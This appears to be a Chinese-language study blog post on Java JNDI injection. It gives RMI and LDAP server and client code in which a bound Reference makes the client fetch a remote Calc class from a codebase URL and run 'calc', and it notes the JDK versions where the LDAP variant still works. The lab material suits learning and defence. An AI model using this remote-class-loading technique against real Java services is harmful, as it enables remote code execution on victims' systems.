java反序列化JNDI 学习

java反序列化JNDI 学习

Java Jndi 注入学习

  • 主要分为几个部分吧,这里就合并到一起写了。

什么是jndi

首先第一个问题,什么是 JNDI,它的作用是什么?

根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。

也就是一个字符串对应一个对象。

jndi 在 jdk 里面支持以下四种服务

  • LDAP:轻量级目录访问协议
  • 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
  • Java 远程方法调用(RMI) 注册表
  • DNS 服务

前三种都是字符串对应对象,DNS 是 IP 对应域名。

rmi中的jndi

JNDISever:

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);
        initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
    }
}

JNDIClient:

package org.example;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

RemoteObjImpl:

package org.example;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
    public RemoteObjImpl() throws RemoteException {
        //    UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
    }
    @Override
    public String sayHello(String keywords) throws IOException {
        Runtime.getRuntime().exec("calc");
        return "hello";
    }

    public void sayGoodbye() throws RemoteException {}
    
    public void sayGoodbye(EvilServer evilServer) throws RemoteException {
        System.out.println("调用了SayGoodbye");
    }
}

JNDI Reference类:

server:

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);
        // RMI
        // initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
        Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
        initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
    }
}

Calc:

这里注意不能有package包名什么的,否则就not found了

import java.io.IOException;
public class Calc {

    public Calc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

}

Client:

package org.example;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

ldap中的jndi

ldap是一种通用的网络协议,在内网中也会遇见ldap服务

https://directory.apache.org/studio/download/download-windows.html

首先我们下载一个这个用做ldap服务器,管理员权限启动,不然ldap服务启动不起来

Server:

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
        initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);
    }
}

Client:

package org.example;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");

    }
}

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。

因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下。